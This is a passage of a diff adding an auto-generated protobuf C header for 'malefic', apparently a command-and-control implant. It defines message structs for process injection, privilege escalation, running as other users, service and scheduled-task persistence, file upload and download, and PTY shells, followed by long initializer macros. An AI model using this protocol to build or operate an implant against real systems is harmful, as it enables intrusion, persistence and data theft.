malefic_Timer timer; + bool has_sysinfo; + malefic_SysInfo sysinfo; + bool has_secure; + malefic_Secure secure; /* Implant's public key, used by server to encrypt data */ +} malefic_Register; + +typedef struct _malefic_Addons { + pb_size_t addons_count; + malefic_Addon addons[32]; +} malefic_Addons; + +typedef PB_BYTES_ARRAY_T(4096) malefic_LoadModule_bin_t; +typedef struct _malefic_LoadModule { + char bundle[256]; + malefic_LoadModule_bin_t bin; +} malefic_LoadModule; + +typedef PB_BYTES_ARRAY_T(4096) malefic_LoadAddon_bin_t; +typedef struct _malefic_LoadAddon { + char name[128]; + char type[64]; + char depend[128]; + malefic_LoadAddon_bin_t bin; +} malefic_LoadAddon; + +typedef PB_BYTES_ARRAY_T(4096) malefic_ExecuteBinary_bin_t; +typedef PB_BYTES_ARRAY_T(4096) malefic_ExecuteBinary_data_t; +typedef struct _malefic_ExecuteBinary { + char name[128]; + malefic_ExecuteBinary_bin_t bin; + pb_callback_t param; + char type[64]; + char process_name[128]; + pb_size_t args_count; + char args[32][256]; + char entry_point[128]; + malefic_ExecuteBinary_data_t data; + bool output; + uint32_t arch; + uint32_t timeout; + bool has_sacrifice; + malefic_SacrificeProcess sacrifice; + char path[256]; + char context[256]; + uint32_t delay; /* millisecond */ +} malefic_ExecuteBinary; + +typedef struct _malefic_ExecuteAddon { + char addon[128]; + bool has_execute_binary; + malefic_ExecuteBinary execute_binary; +} malefic_ExecuteAddon; + +typedef struct _malefic_ExecuteBinary_ParamEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_ExecuteBinary_ParamEntry; + +typedef struct _malefic_ExecuteCommand { + char command[256]; + bool has_sacrifice; + malefic_SacrificeProcess sacrifice; +} malefic_ExecuteCommand; + +typedef PB_BYTES_ARRAY_T(4096) malefic_UploadRequest_data_t; +typedef struct _malefic_UploadRequest { + char name[256]; + char target[256]; + uint32_t priv; + malefic_UploadRequest_data_t data; + bool hidden; + bool override; +} malefic_UploadRequest; + +typedef struct _malefic_DownloadRequest { + char path[256]; + char name[256]; + uint32_t buffer_size; + bool dir; + int32_t cur; +} malefic_DownloadRequest; + +typedef PB_BYTES_ARRAY_T(4096) malefic_DownloadResponse_content_t; +typedef struct _malefic_DownloadResponse { + char checksum[128]; + uint64_t size; + int32_t cur; + malefic_DownloadResponse_content_t content; +} malefic_DownloadResponse; + +typedef PB_BYTES_ARRAY_T(4096) malefic_CurlRequest_body_t; +typedef struct _malefic_CurlRequest { + char url[512]; + int32_t timeout; + char method[16]; + malefic_CurlRequest_body_t body; + pb_callback_t header; + char hostname[256]; +} malefic_CurlRequest; + +typedef struct _malefic_CurlRequest_HeaderEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_CurlRequest_HeaderEntry; + +typedef struct _malefic_ChownRequest { + char path[256]; + char uid[64]; + char gid[64]; + bool recursive; +} malefic_ChownRequest; + +typedef struct _malefic_IfconfigResponse { + pb_size_t net_interfaces_count; + malefic_NetInterface net_interfaces[32]; +} malefic_IfconfigResponse; + +typedef struct _malefic_Registry { + char hive[64]; + char path[256]; + char key[256]; +} malefic_Registry; + +/* wrap for client */ +typedef struct _malefic_RegistryRequest { + char type[64]; + bool has_registry; + malefic_Registry registry; +} malefic_RegistryRequest; + +typedef PB_BYTES_ARRAY_T(4096) malefic_RegistryWriteRequest_byte_value_t; +typedef struct _malefic_RegistryWriteRequest { + char hive[64]; + char path[256]; + char key[256]; + char string_value[256]; + malefic_RegistryWriteRequest_byte_value_t byte_value; + uint32_t dword_value; + uint64_t qword_value; + uint32_t regtype; +} malefic_RegistryWriteRequest; + +typedef struct _malefic_TaskSchedule { + char name[256]; + char path[256]; + char executable_path[256]; + uint32_t trigger_type; + char start_boundary[64]; + char description[256]; + bool enabled; + char last_run_time[64]; + char next_run_time[64]; +} malefic_TaskSchedule; + +typedef struct _malefic_TaskScheduleRequest { + char type[64]; + bool has_taskschd; + malefic_TaskSchedule taskschd; +} malefic_TaskScheduleRequest; + +typedef struct _malefic_TaskSchedulesResponse { + pb_size_t schedules_count; + malefic_TaskSchedule schedules[64]; +} malefic_TaskSchedulesResponse; + +typedef struct _malefic_ServiceConfig { + char name[256]; + char display_name[256]; + char executable_path[256]; + uint32_t start_type; + uint32_t error_control; + char account_name[128]; +} malefic_ServiceConfig; + +/* wrap for client */ +typedef struct _malefic_ServiceRequest { + char type[64]; + bool has_service; + malefic_ServiceConfig service; +} malefic_ServiceRequest; + +typedef struct _malefic_ServiceStatus { + uint32_t current_state; + uint32_t process_id; + uint32_t exit_code; + uint32_t checkpoint; + uint32_t wait_hint; +} malefic_ServiceStatus; + +typedef struct _malefic_Service { + bool has_config; + malefic_ServiceConfig config; + bool has_status; + malefic_ServiceStatus status; +} malefic_Service; + +typedef struct _malefic_ServicesResponse { + pb_size_t services_count; + malefic_Service services[128]; +} malefic_ServicesResponse; + +typedef struct _malefic_WmiQueryRequest { + char namespace[256]; + pb_size_t args_count; + char args[16][256]; +} malefic_WmiQueryRequest; + +typedef struct _malefic_WmiMethodRequest { + char namespace[256]; + char class_name[128]; + char method_name[128]; + pb_callback_t params; +} malefic_WmiMethodRequest; + +typedef struct _malefic_WmiMethodRequest_ParamsEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_WmiMethodRequest_ParamsEntry; + +typedef struct _malefic_RunAsRequest { + char username[128]; /* Username to execute as */ + char domain[128]; /* User domain */ + char password[256]; /* User password */ + char program[256]; /* Program path */ + char args[256]; /* Program arguments (optional) */ + bool use_profile; + bool netonly; /* Use network credentials only (optional, default false) */ + bool use_env; +} malefic_RunAsRequest; + +typedef PB_BYTES_ARRAY_T(4096) malefic_GetSystem_bin_t; +typedef struct _malefic_GetSystem { + malefic_GetSystem_bin_t bin; + uint32_t pid; +} malefic_GetSystem; + +typedef PB_BYTES_ARRAY_T(4096) malefic_Inject_bin_t; +typedef struct _malefic_Inject { + malefic_Inject_bin_t bin; + uint32_t pid; +} malefic_Inject; + +typedef PB_BYTES_ARRAY_T(4096) malefic_Pipe_data_t; +typedef struct _malefic_Pipe { + char name[128]; + char target[128]; + malefic_Pipe_data_t data; +} malefic_Pipe; + +typedef struct _malefic_PipeRequest { + char type[64]; + bool has_pipe; + malefic_Pipe pipe; +} malefic_PipeRequest; + +typedef struct _malefic_Switch { + pb_size_t urls_count; + char urls[16][256]; +} malefic_Switch; + +typedef struct _malefic_TaskCtrl { + uint32_t task_id; + char op[64]; +} malefic_TaskCtrl; + +typedef struct _malefic_TaskInfo { + uint32_t task_id; + uint64_t last; + uint32_t recv_count; + uint32_t send_count; +} malefic_TaskInfo; + +typedef struct _malefic_TaskListResponse { + pb_size_t tasks_count; + malefic_TaskInfo tasks[128]; +} malefic_TaskListResponse; + +typedef struct _malefic_FFmpegRequest { + char action[64]; + char device_name[128]; + char output_format[32]; + char output_path[256]; + char time[32]; +} malefic_FFmpegRequest; + +typedef PB_BYTES_ARRAY_T(4096) malefic_PtyRequest_input_data_t; +/* PTY */ +typedef struct _malefic_PtyRequest { + char type[32]; /* type: "start", "input", "stop" */ + char session_id[64]; /* */ + char shell[128]; /* shell type: "/bin/bash", "cmd.exe", "powershell.exe" */ + uint32_t cols; /* */ + uint32_t rows; /* */ + malefic_PtyRequest_input_data_t input_data; /* */ + char input_text[4096]; /* */ + pb_callback_t params; /* */ +} malefic_PtyRequest; + +typedef struct _malefic_PtyRequest_ParamsEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_PtyRequest_ParamsEntry; + +typedef PB_BYTES_ARRAY_T(4096) malefic_PtyResponse_output_data_t; +typedef struct _malefic_PtyResponse { + char session_id[64]; /* Session ID */ + malefic_PtyResponse_output_data_t output_data; /* Output data (binary) */ + char output_text[4096]; /* Output data (text) */ + char error[256]; /* Error message */ + bool session_active; /* Whether session is still active */ + pb_size_t active_sessions_count; + char active_sessions[32][64]; + pb_callback_t metadata; +} malefic_PtyResponse; + +typedef struct _malefic_PtyResponse_MetadataEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_PtyResponse_MetadataEntry; + +typedef PB_BYTES_ARRAY_T(4096) malefic_CommonBody_bytes_array_t; +typedef struct _malefic_CommonBody { + char name[256]; + pb_size_t u32_array_count; + uint32_t u32_array[32]; + pb_size_t u64_array_count; + uint64_t u64_array[32]; + pb_size_t bool_array_count; + bool bool_array[32]; + pb_size_t string_array_count; + char string_array[32][256]; + pb_size_t bytes_array_count; + malefic_CommonBody_bytes_array_t bytes_array[16]; +} malefic_CommonBody; + + +#ifdef __cplusplus +extern "C" { +#endif + +/* Initializer values for message structs */ +#define malefic_Ping_init_default {0} +#define malefic_Register_init_default {"", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, 0, {malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default}, false, malefic_Timer_init_default, false, malefic_SysInfo_init_default, false, malefic_Secure_init_default} +#define malefic_Secure_init_default {0, "", "", ""} +#define malefic_KeyExchangeRequest_init_default {"", {0, {0}}, 0, ""} +#define malefic_KeyExchangeResponse_init_default {""} +#define malefic_Init_init_default {{0, {0}}} +#define malefic_SysInfo_init_default {"", "", 0, false, malefic_Os_init_default, false, malefic_Process_init_default} +#define malefic_Suicide_init_default {0, 0} +#define malefic_Request_init_default {"", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, {{NULL}, NULL}, {0, {0}}} +#define malefic_Request_ParamsEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_Response_init_default {"", "", {{NULL}, NULL}, 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_Response_KvEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_BypassRequest_init_default {0, 0, 0} +#define malefic_NetInterface_init_default {0, "", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_SockTabEntry_init_default {"", "", "", "", ""} +#define malefic_NetstatResponse_init_default {0, {malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default}} +#define malefic_Block_init_default {0, {0, {0}}, 0} +#define malefic_ACK_init_default {0, 0, 0} +#define malefic_Os_init_default {"", "", "", "", "", "", "", 0, {"", "", "", "", "", "", "", ""}} +#define malefic_Process_init_default {"", 0, 0, "", "", "", "", ""} +#define malefic_Timer_init_default {"", 0} +#define malefic_FileInfo_init_default {"", 0, 0, 0, 0, ""} +#define malefic_SacrificeProcess_init_default {0, 0, 0, 0, ""} +#define malefic_LsResponse_init_default {"", 0, 0, {malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default}} +#define malefic_DriveInfo_init_default {"", "", 0, 0, ""} +#define malefic_EnumDriversResponse_init_default {0, {malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default}} +#define malefic_PsResponse_init_default {0, {malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, 